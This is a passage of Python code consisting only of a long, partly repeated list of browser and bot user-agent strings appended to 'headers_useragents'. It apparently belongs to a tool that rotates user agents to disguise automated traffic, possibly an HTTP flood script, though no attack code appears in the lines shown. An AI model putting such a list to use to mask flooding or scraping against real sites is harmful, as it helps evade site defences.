  419.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  420.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  421.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  422.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  423.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  424.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  425.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  426.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  427.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  428.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  429.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  430.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  431.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  432.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  433.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  434.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  435.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  436.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  437.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  438.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  439.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  440.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  441.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  442.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  443.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  444.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  445.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  446.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  447.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  448.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  449.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  450.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  451.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  452.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  453.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  454.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  455.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  456.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  457.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  458.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  459.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  460.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  461.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  462.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  463.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  464.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  465.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  466.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  467.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  468.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  469.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  470.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  471.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  472.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  473.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  474.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  475.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  476.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  477.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  478.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  479.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  480.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  481.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  482.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  483.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  484.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  485.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  486.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  487.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  488.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  489.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  490.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  491.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  492.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  493.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  494.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  495.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  496.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  497.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  498.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  499.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  500.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  501.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  502.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  503.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  504.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  505.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  506.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  507.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  508.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  509.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  510.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  511.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  512.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  513.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  514.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  515.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  516.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  517.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  518.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  519.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  520.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  521.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  522.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  523.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  524.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  525.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  526.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  527.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  528.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  529.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  530.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  531.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  532.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  533.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  534.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  535.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  536.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  537.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  538.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  539.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  540.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  541.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  542.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  543.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  544.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  545.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  546.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  547.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  548.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  549.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  550.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  551.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  552.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  553.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  554.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  555.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  556.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  557.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  558.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  559.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  560.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  561.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  562.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  563.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  564.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  565.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  566.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  567.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  568.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  569.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  570.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  571.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  572.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  573.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  574.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  575.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  576.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  577.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  578.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  579.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  580.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  581.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  582.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  583.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  584.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  585.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  586.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  587.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  588.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  589.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  590.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  591.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  592.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  593.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  594.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  595.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  596.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  597.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  598.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  599.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  600.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  601.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  602.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  603.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  604.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  605.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  606.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  607.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  608.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  609.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  610.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  611.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  612.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
